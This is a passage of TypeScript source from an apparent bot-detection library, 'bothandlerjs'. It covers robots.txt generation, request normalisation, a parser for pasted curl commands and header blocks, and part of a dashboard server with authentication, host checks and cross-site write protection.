resolved and filtered here, so passing them\n // on would put the exempted crawlers straight back.\n const exempted: string[] = [];\n for (const signature of signatures) {\n if (!expanded.has(signature.id)) continue;\n if (servedIdentities.has(signature.id) || servedCategories.has(signature.category)) {\n expanded.delete(signature.id);\n exempted.push(signature.id);\n }\n }\n\n const robotsTxt = generateRobotsTxt({ ...options, disallowBots: [...expanded], disallowCategories: [] });\n return { robotsTxt, declined: [...expanded].sort(), unreadable, served: exempted.sort() };\n}\n\nfunction toArray<T>(value: T | readonly T[] | undefined): readonly T[] {\n if (value === undefined) return [];\n return Array.isArray(value) ? (value as readonly T[]) : [value as T];\n}\n","import { joinHeaderValue, parseCookies } from \"./internal/http.js\";\nimport { normalizeIp } from \"./internal/ip.js\";\nimport type { RequestFacts } from \"./types.js\";\n\n/** Longest URL we will parse. Anything beyond this is a payload, not a path. */\nconst MAX_URL_LENGTH = 8192;\n/** Cap on query parameters kept. */\nconst MAX_QUERY_PARAMS = 64;\n\nexport interface FactsInput {\n method?: string | undefined;\n /** Request target, path plus optional query — what `req.url` gives you. */\n url?: string | undefined;\n /** Raw header map. Values may be arrays; names may be any case. */\n headers: Record<string, string | string[] | undefined>;\n /**\n * Header names in wire order. Node exposes them via `req.rawHeaders` (alternating\n * name/value) — pass that array directly, or a name-only list.\n */\n rawHeaders?: readonly string[] | undefined;\n /** Socket address. Pass the *socket's* address; forwarding is resolved separately. */\n ip: string;\n timestamp?: number | undefined;\n protocol?: \"http\" | \"https\" | undefined;\n /**\n * The HTTP version of the connection **this process accepted** — Node's\n * `request.httpVersion`, not the version the client negotiated with your edge.\n *\n * The distinction has teeth. HTTP/2 forbids connection-specific headers, and\n * `header-integrity` treats one as a deterministic protocol violation. If you set\n * this from a forwarded header while the request itself arrived over HTTP/1.1 from\n * a proxy — which adds `Connection: keep-alive` — you will manufacture that\n * violation for every real browser behind that proxy, and it is a `certain` verdict,\n * so it can block. Report the connection you actually have, or leave it unset.\n */\n httpVersion?: string | undefined;\n tlsFingerprint?: string | undefined;\n /** See {@link RequestFacts.partialHeaders}. Set it when the source cannot supply every header. */\n partialHeaders?: boolean | undefined;\n extra?: Record<string, unknown> | undefined;\n}\n\n/**\n * Reduces a request to the facts detectors are allowed to see.\n *\n * Normalisation happens exactly once, here, and every detector reads the result. That\n * is partly performance — lowercasing a header map per detector would be absurd — but\n * mostly correctness: if one detector reads `req.headers['User-Agent']` and another\n * reads `req.headers['user-agent']`, they will eventually disagree about the same\n * request, and the bug will be invisible.\n *\n * Every field is bounded. Each one is attacker-controlled, and this runs on every\n * request to your site.\n */\nexport function createFacts(input: FactsInput): RequestFacts {\n const rawUrl = input.url ?? \"/\";\n const url = rawUrl.length > MAX_URL_LENGTH ? rawUrl.slice(0, MAX_URL_LENGTH) : rawUrl;\n const queryStart = url.indexOf(\"?\");\n const rawPath = queryStart === -1 ? url : url.slice(0, queryStart);\n\n const headers: Record<string, string | undefined> = Object.create(null) as Record<string, string | undefined>;\n for (const [name, value] of Object.entries(input.headers)) {\n const joined = joinHeaderValue(value);\n if (joined !== undefined) headers[name.toLowerCase()] = joined;\n }\n\n const facts: RequestFacts = {\n method: (input.method ?? \"GET\").toUpperCase(),\n path: normalizePath(rawPath),\n query: parseQuery(queryStart === -1 ? \"\" : url.slice(queryStart + 1)),\n headers,\n headerOrder: extractOrder(input.rawHeaders, headers),\n ip: normalizeIp(input.ip) ?? input.ip,\n timestamp: input.timestamp ?? Date.now(),\n };\n\n // Only parse cookies that exist. Most bot traffic carries none, and building an\n // empty bag for every one of those requests is pure garbage.\n const cookieHeader = headers[\"cookie\"];\n if (cookieHeader !== undefined) facts.cookies = parseCookies(cookieHeader);\n\n if (input.protocol !== undefined) facts.protocol = input.protocol;\n if (input.httpVersion !== undefined) facts.httpVersion = input.httpVersion;\n if (input.tlsFingerprint !== undefined) facts.tlsFingerprint = input.tlsFingerprint;\n if (input.partialHeaders === true) facts.partialHeaders = true;\n if (input.extra !== undefined) facts.extra = input.extra;\n\n return facts;\n}\n\n/**\n * Decodes and normalises a path.\n *\n * Rule matching is done on this value, so `/admin`, `/%61dmin` and `/./admin` must\n * not be three different paths as far as a policy is concerned — otherwise a rule\n * scoped to a path is trivially side-stepped by spelling it differently. Decoding is\n * single-pass: repeatedly decoding until it stops changing is how `%2525` becomes `%`\n * and how path-traversal filters get bypassed.\n */\nfunction normalizePath(rawPath: string): string {\n let path = rawPath;\n try {\n path = decodeURIComponent(rawPath);\n } catch {\n // Malformed percent-encoding. Keep the raw form: it is still a fact about the\n // request, and guessing at an intended decoding would be inventing one.\n }\n path = path.replace(/\\\\/g, \"/\").replace(/\\/{2,}/g, \"/\");\n if (!path.startsWith(\"/\")) path = `/${path}`;\n\n // Resolve `.` and `..` segments so a rule on a path prefix cannot be walked around.\n if (path.includes(\"./\")) {\n const resolved: string[] = [];\n for (const segment of path.split(\"/\")) {\n if (segment === \"\" || segment === \".\") continue;\n if (segment === \"..\") resolved.pop();\n else resolved.push(segment);\n }\n path = `/${resolved.join(\"/\")}`;\n }\n return path.length > 1 && path.endsWith(\"/\") ? path.slice(0, -1) : path;\n}\n\nfunction parseQuery(search: string): Record<string, string> {\n // Null-prototype: a literal `?__proto__=x` becomes an ordinary own key instead of\n // hitting the prototype setter and vanishing, so a detector can actually see it.\n const query: Record<string, string> = Object.create(null) as Record<string, string>;\n if (search.length === 0) return query;\n let count = 0;\n for (const [key, value] of new URLSearchParams(search)) {\n if (count++ >= MAX_QUERY_PARAMS) break;\n query[key] = value.length > 1024 ? value.slice(0, 1024) : value;\n }\n return query;\n}\n\n/**\n * Extracts wire-order header names.\n *\n * Both documented input shapes have to be told apart: Node's `rawHeaders`, which\n * alternates name and value, and a plain list of names.\n *\n * Asking whether the even-indexed entries *look like* header names cannot do it, and\n * used to get the common case backwards. Every entry of a name-only list looks like a\n * header name, so any such list of even length was read as Node-style and every second\n * name was discarded — silently halving the header order, which is a fingerprint, for\n * a shape the documentation invites callers to pass.\n *\n * The header map decides it instead. In a name-only list every entry is a header that\n * was actually received; in an alternating list the odd entries are values, which are\n * almost never also header names. That distinguishes the two even for a single-header\n * request, where any shape-based guess is ambiguous.\n */\nconst MAX_ORDERED_HEADERS = 64;\n\nfunction extractOrder(rawHeaders: readonly string[] | undefined, headers: Record<string, string | undefined>): readonly string[] {\n if (!rawHeaders || rawHeaders.length === 0) return EMPTY_ORDER;\n\n let isNodeStyle = rawHeaders.length % 2 === 0;\n if (isNodeStyle) {\n let everyEntryIsAHeader = true;\n for (let i = 0; i < rawHeaders.length; i++) {\n const entry = rawHeaders[i]!;\n const known = headers[entry.toLowerCase()] !== undefined;\n // An even entry that is neither a received header nor even a valid token cannot\n // be a name in either shape; fall back to reading the list as names rather than\n // dropping half of something unrecognised.\n if (i % 2 === 0 && !known && !isHeaderName(entry)) {\n isNodeStyle = false;\n break;\n }\n if (!known) everyEntryIsAHeader = false;\n }\n if (everyEntryIsAHeader) isNodeStyle = false;\n }\n\n // One pass, one array. The previous version walked the input three times —\n // `every`, then `filter`, then `slice().map()` — allocating at each step.\n const step = isNodeStyle ? 2 : 1;\n const order: string[] = [];\n for (let i = 0; i < rawHeaders.length && order.length < MAX_ORDERED_HEADERS; i += step) {\n order.push(rawHeaders[i]!.toLowerCase());\n }\n return order;\n}\n\nconst EMPTY_ORDER: readonly string[] = Object.freeze([]);\n\n/** RFC 9110 token characters. A scan rather than a regex: this runs once per header. */\nfunction isHeaderName(value: string): boolean {\n if (value.length === 0) return false;\n for (let i = 0; i < value.length; i++) {\n const code = value.charCodeAt(i);\n const ok =\n (code >= 0x30 && code <= 0x39) || // 0-9\n (code >= 0x41 && code <= 0x5a) || // A-Z\n (code >= 0x61 && code <= 0x7a) || // a-z\n code === 0x21 || (code >= 0x23 && code <= 0x27) || code === 0x2a || code === 0x2b ||\n code === 0x2d || code === 0x2e || code === 0x5e || code === 0x5f || code === 0x60 ||\n code === 0x7c || code === 0x7e;\n if (!ok) return false;\n }\n return true;\n}\n","/**\n * Turns whatever somebody pasted into a request the engine can assess.\n *\n * Three shapes, because those are the three things people have to hand when they want\n * to ask \"why is this client being challenged?\": a `curl` command copied out of a\n * terminal or a browser's devtools, a raw header block copied out of a log, or just a\n * User-Agent string copied out of a support ticket. Guessing between them is safe —\n * they are unambiguous — and asking somebody to pick would be asking them to know.\n *\n * Everything here is pure and DOM-free so it can be tested by calling it. The parsing\n * is deliberately forgiving: this is a paste box for a person in a hurry, not a\n * protocol parser, and a header it cannot make sense of is dropped rather than fatal.\n */\n\nexport interface ParsedRequest {\n method: string;\n url: string;\n headers: Record<string, string>;\n ip: string;\n /** Fields the paste did not carry, which had to be invented to make a request at all. */\n assumed: string[];\n}\n\n/** Documentation range (TEST-NET-3). Never routable, so it cannot match a real reputation list. */\nconst DEFAULT_IP = \"203.0.113.1\";\nconst DEFAULT_HOST = \"test.invalid\";\nconst MAX_INPUT = 8000;\nconst MAX_HEADERS = 40;\n\nexport interface ParseOptions {\n /** Overrides for what the paste did not say. The tester's own fields. */\n method?: string | undefined;\n url?: string | undefined;\n ip?: string | undefined;\n}\n\nexport function parseRequest(input: string, options: ParseOptions = {}): ParsedRequest {\n const text = input.slice(0, MAX_INPUT).trim();\n if (text === \"\") throw new Error(\"Nothing to test. Paste a User-Agent, a curl command, or a block of request headers.\");\n\n const parsed = looksLikeCurl(text) ? fromCurl(text) : looksLikeHeaders(text) ? fromHeaders(text) : fromUserAgent(text);\n\n const headers: Record<string, string> = {};\n for (const [name, value] of Object.entries(parsed.headers).slice(0, MAX_HEADERS)) {\n if (name.trim() === \"\") continue;\n headers[name.toLowerCase()] = value;\n }\n\n const assumed: string[] = [];\n const method = (options.method ?? parsed.method ?? \"GET\").toUpperCase();\n const url = options.url ?? parsed.url ?? \"/\";\n const ip = options.ip ?? DEFAULT_IP;\n if (options.ip === undefined) assumed.push(`client address ${DEFAULT_IP}`);\n if (headers[\"host\"] === undefined) {\n headers[\"host\"] = DEFAULT_HOST;\n assumed.push(`Host: ${DEFAULT_HOST}`);\n }\n if (parsed.method === undefined && options.method === undefined) assumed.push(\"method GET\");\n if (parsed.url === undefined && options.url === undefined) assumed.push(\"path /\");\n\n return { method, url, headers, ip, assumed };\n}\n\ninterface Partial_ {\n method?: string | undefined;\n url?: string | undefined;\n headers: Record<string, string>;\n}\n\n/**\n * `curl` followed by a space, and not merely a string starting with those four letters.\n *\n * `curl/8.4.0` is a User-Agent — and the single most likely thing anybody pastes into\n * this box, since it is what an operator sees in the feed next to the request they came\n * to ask about. Reading it as a command produced a request with no User-Agent at all\n * and an assessment of \"unknown\", which is the most misleading answer available: it\n * looks like an answer.\n */\nfunction looksLikeCurl(text: string): boolean {\n return /^curl\\s/.test(text);\n}\n\n/** A line of the form `Name: value`, which neither a curl command nor a User-Agent has. */\nfunction looksLikeHeaders(text: string): boolean {\n return text.split(\"\\n\").some((line) => /^[A-Za-z][A-Za-z0-9-]*:\\s/.test(line.trim()));\n}\n\n/**\n * A `curl` command, as devtools' \"Copy as cURL\" writes it.\n *\n * Handles the flags that carry a request's identity — `-H`, `-A`, `-X`, `-b` and the\n * URL — and ignores the rest, which are about how curl behaves rather than about what\n * the server sees.\n */\nfunction fromCurl(text: string): Partial_ {\n const tokens = tokenize(text.replace(/\\\\\\r?\\n/g, \" \"));\n const headers: Record<string, string> = {};\n let method: string | undefined;\n let url: string | undefined;\n\n for (let i = 1; i < tokens.length; i++) {\n const token = tokens[i] ?? \"\";\n if (token === \"-H\" || token === \"--header\") {\n const header = tokens[++i] ?? \"\";\n const colon = header.indexOf(\":\");\n if (colon > 0) headers[header.slice(0, colon).trim()] = header.slice(colon + 1).trim();\n } else if (token === \"-A\" || token === \"--user-agent\") {\n headers[\"user-agent\"] = tokens[++i] ?? \"\";\n } else if (token === \"-b\" || token === \"--cookie\") {\n headers[\"cookie\"] = tokens[++i] ?? \"\";\n } else if (token === \"-X\" || token === \"--request\") {\n method = tokens[++i] ?? \"\";\n } else if (token === \"-e\" || token === \"--referer\") {\n headers[\"referer\"] = tokens[++i] ?? \"\";\n } else if (!token.startsWith(\"-\") && url === undefined) {\n url = token;\n }\n }\n\n if (url !== undefined) {\n try {\n const parsed = new URL(url);\n headers[\"host\"] ??= parsed.host;\n url = parsed.pathname + parsed.search;\n } catch {\n // Not absolute. A path is a perfectly good answer and needs no rewriting.\n }\n }\n\n return { method, url, headers };\n}\n\n/** Whitespace-separated, honouring single and double quotes the way a shell does. */\nfunction tokenize(text: string): string[] {\n const tokens: string[] = [];\n let current = \"\";\n let quote: string | undefined;\n let started = false;\n\n for (const character of text) {\n if (quote !== undefined) {\n if (character === quote) quote = undefined;\n else current += character;\n continue;\n }\n if (character === \"'\" || character === '\"') {\n quote = character;\n started = true;\n continue;\n }\n if (/\\s/.test(character)) {\n if (current !== \"\" || started) tokens.push(current);\n current = \"\";\n started = false;\n continue;\n }\n current += character;\n }\n if (current !== \"\" || started) tokens.push(current);\n return tokens;\n}\n\n/**\n * A raw header block, optionally led by a request line.\n *\n * The order is kept exactly as pasted, and that is the point: `header-order` reads the\n * order a browser sends its headers in, so a block reordered on the way in would be\n * assessed as a different client from the one somebody is asking about.\n */\nfunction fromHeaders(text: string): Partial_ {\n const headers: Record<string, string> = {};\n let method: string | undefined;\n let url: string | undefined;\n\n for (const raw of text.split(\"\\n\")) {\n const line = raw.trim();\n if (line === \"\") continue;\n\n const requestLine = /^([A-Z]+)\\s+(\\S+)(\\s+HTTP\\/[\\d.]+)?$/.exec(line);\n if (requestLine !== null && method === undefined && Object.keys(headers).length === 0) {\n method = requestLine[1];\n url = requestLine[2];\n continue;\n }\n\n const colon = line.indexOf(\":\");\n if (colon > 0) headers[line.slice(0, colon).trim()] = line.slice(colon + 1).trim();\n }\n\n return { method, url, headers };\n}\n\n/** Just a User-Agent, which is what a support ticket contains. */\nfunction fromUserAgent(text: string): Partial_ {\n return { headers: { \"user-agent\": text.replace(/\\s+/g, \" \").trim() } };\n}\n","import { createServer } from \"node:http\";\nimport { hostname } from \"node:os\";\nimport { ConfigError, validateRules } from \"../config.js\";\nimport { DashboardChanges, DashboardFeed, DashboardNotices } from \"./feed.js\";\nimport { candidatePolicy, previewPolicy } from \"./preview.js\";\nimport type { GuardSettings } from \"../policy/policy.js\";\nimport { constantTimeEqual, randomId } from \"../internal/crypto.js\";\nimport { renderDashboardPage } from \"./page.js\";\nimport { robotsFromRules } from \"../robots.js\";\nimport { toPrometheus } from \"../metrics.js\";\nimport type { IncomingMessage, ServerResponse } from \"node:http\";\nimport type { Socket } from \"node:net\";\nimport type { BotHandler } from \"../core.js\";\nimport { createFacts } from \"../facts.js\";\nimport { networkKey } from \"../internal/ip.js\";\nimport { parseRequest } from \"./parse-request.js\";\nimport type {\n DashboardAuth,\n DashboardEntry,\n DashboardHandlerOptions,\n DashboardOptions,\n DashboardRefusal,\n DashboardRequestHandler,\n DashboardSections,\n DashboardServer,\n DashboardSnapshot,\n PolicyDocument,\n} from \"./types.js\";\nimport { IpRangeSet } from \"../internal/ip.js\";\nimport { TtlLru } from \"../internal/lru.js\";\nimport { ACTION_NAMES, TERMINAL_ACTIONS } from \"../policy/types.js\";\nimport { BOT_CATEGORIES } from \"../detectors/known-bots.js\";\nimport { BOT_CLASSES, VERDICTS } from \"../types.js\";\nimport { PRESETS } from \"../policy/presets.js\";\nimport type { PresetName } from \"../policy/presets.js\";\nimport type { Rule } from \"../policy/types.js\";\n\nconst DEFAULT_PORT = 9674;\nconst DEFAULT_HOST = \"127.0.0.1\";\nconst HEARTBEAT_MS = 15_000;\n/** How often a connected viewer is sent fresh counters. The page redraws on receipt. */\nconst STATS_INTERVAL_MS = 2_000;\n/** Largest policy document accepted from the editor. A rule set is kilobytes, not megabytes. */\nconst MAX_BODY_BYTES = 256 * 1024;\n/**\n * Entries per second pushed to each viewer, unless the caller says otherwise.\n *\n * High enough that an ordinary site never reaches it, low enough that a busy one does\n * not hand every open browser two megabytes a second. See\n * {@link DashboardOptions.maxEventsPerSecond}.\n */\nconst DEFAULT_EVENTS_PER_SECOND = 100;\n/**\n * How long a request stays in the feed by default.\n *\n * An hour rather than forever, because every entry holds somebody's address, their\n * User-Agent and their headers, and on a quiet service the ring's five hundred entries\n * can be a fortnight of them. A busy service never notices this bound; a quiet one is\n * the only place it matters, which is why it is a default rather than an option people\n * have to think of.\n */\nconst DEFAULT_FEED_TTL_MS = 60 * 60_000;\n/** Actors listed on the Actors screen. More than a person reads, fewer than a registry holds. */\nconst MAX_ACTORS_LISTED = 200;\n/** How long \"clear as human\" lasts when the page does not say. */\nconst DEFAULT_CLEARANCE_MS = 60 * 60_000;\n\n/**\n * Addresses that reach only this machine.\n *\n * The list is exact rather than clever: an unrecognised host is treated as public,\n * which is the safe direction to be wrong in. A hostname that happens to resolve to\n * loopback still counts as public here — the check is about what you *wrote*, because\n * that is the thing a reviewer reads.\n */\nconst LOOPBACK_HOSTS = new Set([\"127.0.0.1\", \"::1\", \"localhost\", \"[::1]\"]);\n\n/**\n * What a mounted dashboard says its host is, for the checks that ask.\n *\n * A name rather than an address, and deliberately not a loopback one: mounted, there\n * is no bind address to inspect, so every \"is this reachable from outside?\" question\n * has to be answered \"assume yes\". It appears in the error messages those checks\n * raise, where it reads as what it is.\n */\nconst MOUNTED_HOST = \"a server of your own\";\n\n/** How long a viewer may stay behind before its stream is dropped, and how much it may miss. */\nconst LAG_LIMIT_MS = 20_000;\nconst LAG_DROP_LIMIT = 5_000;\n\n/**\n * Methods that change something here.\n *\n * The distinction matters because only these need protecting from a cross-site\n * caller. A cross-origin *read* is already useless to an attacker: this server sends\n * no `Access-Control-Allow-Origin`, so the browser fetches the response and then\n * refuses to show it to the page that asked. A write needs no response to have\n * happened.\n */\nconst UNSAFE_METHODS = new Set([\"POST\", \"PUT\", \"PATCH\", \"DELETE\"]);\n\n/**\n * One connected viewer, and how far behind it is.\n *\n * `response.write()` returns false when the kernel's send buffer is full, and until\n * this existed nothing looked at that. A viewer whose socket had stopped draining — a\n * laptop that slept with the tab open, a phone in a tunnel, a proxy that stopped\n * reading — did not slow down; its frames accumulated in this process's memory,\n * unboundedly, one queue per viewer. `maxEventsPerSecond` does not help: it bounds the\n * rate, and this is a backlog.\n *\n * So a stream that says it is full stops being sent feed entries until it drains, the\n * dropped frames are counted, and the viewer is told the count when it catches up —\n * because a gap it does not know about is worse than one it does. A stream that never\n * drains is ended, and the browser reconnects and resumes from its cursor, which is\n * the machinery that makes dropping it safe.\n */\ninterface Stream {\n response: ServerResponse;\n lagging: boolean;\n dropped: number;\n laggingSince: number;\n}\n\n/** What a built dashboard exposes to whichever of the two entry points made it. */\ninterface Dashboard {\n /** The request handler. Never rejects: an error inside it becomes a 500 and an `onError`. */\n serve: (request: IncomingMessage, response: ServerResponse) => void;\n readonly clients: number;\n /** Unsubscribes from the engine, ends every stream, stops every timer. */\n close: () => void;\n}\n\n/**\n * Everything that makes a dashboard, minus the question of who is listening.\n *\n * `host` is the bind address when this dashboard owns its listener, and `undefined`\n * when it is being mounted on somebody else's server. That single distinction decides\n * the two things that depend on knowing where the socket is:\n *\n * - **Whether loopback can be assumed.** A dashboard on `127.0.0.1` may skip `auth`,\n * because the operating system is the access control. Mounted, there is no bind\n * address to inspect and therefore nothing to assume, so `auth` becomes required —\n * including the explicit `auth: false` that says something in front of it\n * authenticates. Fails closed, in the direction the whole page is careful about.\n * - **Whether the `Host` header is checked.** The rebinding defence only applies to a\n * loopback bind; mounted, it is enforced when `allowedHosts` is given and skipped\n * when it is not, because the server that owns the socket is the thing that knows\n * which names reach it.\n */\nfunction buildDashboard(handler: BotHandler, options: DashboardOptions, host: string | undefined): Dashboard {\n const mounted = host === undefined;\n const basePath = normalizeBase(options.basePath ?? \"/\");\n // A mounted dashboard is treated as public: there is no bind address to read, so\n // \"this is loopback, the OS is the access control\" is not a claim anybody can make.\n const auth = validateAuth(options.auth, host ?? MOUNTED_HOST);\n const refusal = validateRefusal(options.refusal ?? \"unauthorized\", auth);\n const allowedHosts = mounted ? resolveMountedHosts(options.allowedHosts) : resolveAllowedHosts(host, options.allowedHosts);\n const maxClients = Math.max(1, options.maxClients ?? 16);\n const allowReset = options.controls?.reset === true;\n const allowEdit = validateEditing(options.controls?.editPolicy === true, auth, host ?? MOUNTED_HOST, \"controls.editPolicy\");\n const sections = resolveSections(options.sections);\n const maskIp = options.redact?.maskIp === true;\n // A masked actor key names a `/24`, and the registry is keyed by the address. Acting\n // on the wrong key silently is worse than not offering the button, so the whole\n // control goes rather than half of it.\n const allowActing = sections.ranges && !maskIp && validateEditing(options.controls?.editRanges === true, auth, host ?? MOUNTED_HOST, \"controls.editRanges\");\n // A guard editor inside a Policy tab that does not exist is not a feature anybody\n // asked for, and an operator who wrote both would have to read the code to find out\n // which won. The section decides.\n const allowGuardEdit = sections.guard && sections.policy && validateEditing(options.controls?.editGuard === true, auth, host ?? MOUNTED_HOST, \"controls.editGuard\");\n const startedAt = handler.config.clock.now();\n\n const feed = new DashboardFeed(handler, options.feedLimit ?? 500, options.redact ?? {}, {\n maxEventsPerSecond: options.maxEventsPerSecond ?? DEFAULT_EVENTS_PER_SECOND,\n ttlMs: options.feedTtlMs ?? DEFAULT_FEED_TTL_MS,\n });\n const allowedClients = options.allowedClients === undefined || options.allowedClients.length === 0 ? undefined : validateClients(options.allowedClients);\n const throttle = createAuthThrottle(options.authThrottle, handler);\n const notices = new DashboardNotices(handler);\n const changes = new DashboardChanges(handler);\n const instance = options.instance ?? hostname();\n const page = renderDashboardPage({\n title: options.title ?? \"bothandlerjs\",\n basePath,\n links: options.links ?? [],\n allowReset,\n allowEdit,\n allowGuardEdit,\n allowActing,\n sections,\n peers: options.peers ?? [],\n });\n\n const streams = new Set<Stream>();\n /**\n * One timer for every viewer, rather than one per viewer.\n *\n * `snapshot()` walks the detector list, the rule list, the range sets and both audit\n * windows. Sixteen browsers open on the same dashboard used to mean sixteen\n * identical walks every two seconds; now it means one walk and sixteen writes of the\n * same string. It runs only while somebody is watching.\n */\n let statsTimer: NodeJS.Timeout | undefined;\n\n function startStatsTimer(): void {\n if (statsTimer !== undefined) return;\n statsTimer = setInterval(() => {\n // Retention is a promise about time, so it is kept whether or not anybody is\n // watching: the eviction happens here rather than only when a request arrives.\n feed.prune(handler.config.clock.now());\n if (streams.size === 0) return;\n const frame = frameFor(\"stats\", snapshot());\n for (const stream of streams) {\n // A viewer that has been stuck for twenty seconds is not a viewer. Ending it\n // frees the buffer; `EventSource` reconnects on its own and resumes from the\n // last id it saw, so nothing is lost that the ring still holds.\n if (stream.lagging && (handler.config.clock.now() - stream.laggingSince > LAG_LIMIT_MS || stream.dropped > LAG_DROP_LIMIT)) {\n stream.response.end();\n streams.delete(stream);\n continue;\n }\n // Counters are never dropped: they are small, they are the page's only sign of\n // life, and a viewer that is behind on the feed still needs to know it is behind.\n writeFrame(stream, frame, false);\n }\n }, STATS_INTERVAL_MS);\n statsTimer.unref();\n }\n\n /**\n * Writes one frame to one viewer, honouring what the socket says about itself.\n *\n * `droppable` is the whole distinction: a feed entry may be skipped, because the\n * viewer can catch up from the ring and will be told what it missed. A `stats` frame\n * or a `sync` marker may not, because those are how the page knows anything at all.\n */\n function writeFrame(stream: Stream, frame: string, droppable: boolean): void {\n if (stream.lagging && droppable) {\n stream.dropped++;\n return;\n }\n if (stream.response.write(frame)) return;\n if (stream.lagging) return;\n\n stream.lagging = true;\n stream.laggingSince = handler.config.clock.now();\n stream.response.once(\"drain\", () => {\n stream.lagging = false;\n if (stream.dropped === 0) return;\n // Said out loud rather than papered over. The viewer's feed has a hole in it and\n // the page shows the size of it, next to the count the rate cap keeps.\n const missed = stream.dropped;\n stream.dropped = 0;\n stream.response.write(frameFor(\"lagged\", { dropped: missed }));\n });\n }\n\n /** The handler both entry points hand out. It never rejects; a failure is a 500. */\n function serve(request: IncomingMessage, response: ServerResponse): void {\n void route(request, response).catch((error: unknown) => {\n handler.config.onError(error, { source: \"dashboard\" });\n if (!response.headersSent) response.writeHead(500, { \"content-type\": \"text/plain\" });\n response.end(\"dashboard error\\n\");\n });\n }\n\n async function route(request: IncomingMessage, response: ServerResponse): Promise<void> {\n const url = new URL(request.url ?? \"/\", \"http://dashboard.invalid\");\n const route = routeOf(url.pathname, basePath, mounted);\n\n // These run before authentication, and deliberately so: they answer \"was this\n // request addressed to this server, by something allowed to address it\" — a\n // question that credentials cannot settle, because the browser attaches them to a\n // forged request as willingly as to a real one.\n const peer = handler.resolveIp(request.socket.remoteAddress, request.headers as Record<string, string | undefined>);\n if (allowedClients !== undefined && !allowedClients.contains(peer)) {\n refuse(request, response, refusal, () =>\n send(response, 403, \"text/plain; charset=utf-8\", \"403 forbidden\\n\\nThis dashboard answers only the client addresses it was configured for.\\n\"),\n );\n return;\n }\n\n // A wrong credential is slowed down before it is checked, so the check itself is\n // never the thing an attacker gets to repeat.\n const locked = throttle.check(peer);\n if (locked !== undefined) {\n refuse(request, response, refusal, () => {\n response.writeHead(429, { ...SECURITY_HEADERS, \"content-type\": \"text/plain; charset=utf-8\", \"retry-after\": String(Math.ceil(locked / 1000)) });\n response.end(\"429 too many attempts\\n\");\n });\n return;\n }\n\n if (!hostAllowed(request, allowedHosts)) {\n refuse(request, response, refusal, () =>\n send(\n response,\n 421,\n \"text/plain; charset=utf-8\",\n \"421 misdirected request\\n\\nThis dashboard answers only to the host names it was configured for. Add yours with `allowedHosts`.\\n\",\n ),\n );\n return;\n }\n\n if (request.method !== undefined && UNSAFE_METHODS.has(request.method) && !isSameOrigin(request)) {\n refuse(request, response, refusal, () =>\n send(\n response,\n 403,\n \"text/plain; charset=utf-8\",\n \"403 cross-site request\\n\\nThis dashboard accepts changes only from its own page.\\n\",\n ),\n );\n return;\n }\n\n // Authentication runs before routing, so an unauthenticated probe cannot even\n // learn which paths exist here.\n const viewer = await authorize(request, url, auth);\n if (viewer.ok) throttle.succeeded(peer);\n else throttle.failed(peer);\n if (!viewer.ok) {\n refuse(request, response, refusal, () => {\n const headers: Record<string, string> = { ...SECURITY_HEADERS, \"content-type\": \"text/plain; charset=utf-8\" };\n // Only Basic gets a challenge header. Prompting for a password when the server\n // wants a bearer token produces a dialog no credential can satisfy.\n if (auth !== false && \"username\" in auth) headers[\"www-authenticate\"] = 'Basic realm=\"bothandlerjs dashboard\", charset=\"UTF-8\"';\n response.writeHead(401, headers);\n response.end(\"401 unauthorized\\n\");\n });\n return;\n }\n\n if (route === undefined) {\n send(response, 404, \"text/plain; charset=utf-8\", \"404 not found\\n\");\n return;\n }\n\n // Who is asking, when the configured `auth` was able to say — a basic credential\n // knows its own username, and a custom `authorize` can return one. It travels with\n // every change made below, into the handler's warnings and its change events. An\n // audit trail that can say a rule set was replaced but not by whom is half of one.\n const by = viewer.by;\n\n switch (route) {\n case \"/\":\n return sendPage(response);\n case \"/api/stats\":\n return send(response, 200, \"application/json; charset=utf-8\", JSON.stringify(snapshot()));\n case \"/api/feed\":\n if (!sections.feed) return sectionOff(response, \"feed\");\n return send(response, 200, \"application/json; charset=utf-8\", JSON.stringify({ entries: feed.backlog().map(project) }));\n case \"/api/stream\":\n if (!sections.feed) return sectionOff(response, \"feed\");\n return stream(request, url, response);\n case \"/api/policy\":\n if (!sections.policy) return sectionOff(response, \"policy\");\n return send(response, 200, \"application/json; charset=utf-8\", JSON.stringify(policyDocument()));\n\n case \"/api/settings\":\n if (!sections.policy) return sectionOff(response, \"policy\");\n return send(response, 200, \"application/json; charset=utf-8\", JSON.stringify(settingsDocument(), null, 2));\n\n case \"/api/actors\": {\n if (!sections.registry) return sectionOff(response, \"registry\");\n const limit = Math.min(MAX_ACTORS_LISTED, Math.max(1, Number(url.searchParams.get(\"limit\") ?? 50) || 50));\n const actors = handler.registry.top(limit, handler.config.clock.now()).map((actor) => ({\n ...actor,\n key: maskIp ? (networkKey(actor.key) ?? actor.key) : actor.key,\n }));\n return send(response, 200, \"application/json; charset=utf-8\", JSON.stringify({ actors, tracked: handler.registry.size, actionable: allowActing }));\n }\n\n case \"/api/ranges\": {\n if (!sections.ranges) return sectionOff(response, \"ranges\");\n if (request.method !== \"POST\") {\n return send(\n response,\n 200,\n \"application/json; charset=utf-8\",\n JSON.stringify({\n ranges: handler.listRanges().map((range) => ({ ...range, entries: handler.rangeEntries(range.name) ?? [] })),\n editable: allowActing,\n }),\n );\n }\n if (!allowActing) {\n sendError(response, 403, \"Editing ranges is disabled on this dashboard. Enable it with controls: { editRanges: true }.\");\n return;\n }\n const body = await readJson(request);\n if (\"error\" in body) {\n send(response, 400, \"application/json; charset=utf-8\", JSON.stringify({ error: body.error }));\n return;\n }\n try {\n const { name, entries } = rangeUpdate(body.value, handler);\n handler.updateRanges(name, entries, { by });\n send(response, 200, \"application/json; charset=utf-8\", JSON.stringify({ ok: true, name, entries: handler.rangeEntries(name) ?? [] }));\n } catch (error) {\n send(response, 400, \"application/json; charset=utf-8\", JSON.stringify({ error: error instanceof Error ? error.message : String(error) }));\n }\n return;\n }\n\n case \"/api/actor\": {\n if (!sections.actors) return sectionOff(response, \"actors\");\n if (request.method !== \"POST\") {\n sendError(response, 405, \"Use POST.\");\n return;\n }\n if (!allowActing) {\n sendError(response, 403, \"Acting on an actor is disabled on this dashboard. Enable it with controls: { editRanges: true }.\");\n return;\n }\n const body = await readJson(request);\n if (\"error\" in body) {\n send(response, 400, \"application/json; charset=utf-8\", JSON.stringify({ error: body.error }));\n return;\n }\n const payload = body.value as { key?: unknown; action?: unknown; forMs?: unknown } | null;\n const key = typeof payload?.key === \"string\" ? payload.key.slice(0, 200) : \"\";\n const action = payload?.action;\n if (key === \"\") {\n sendError(response, 400, \"Expected `key` naming the actor to act 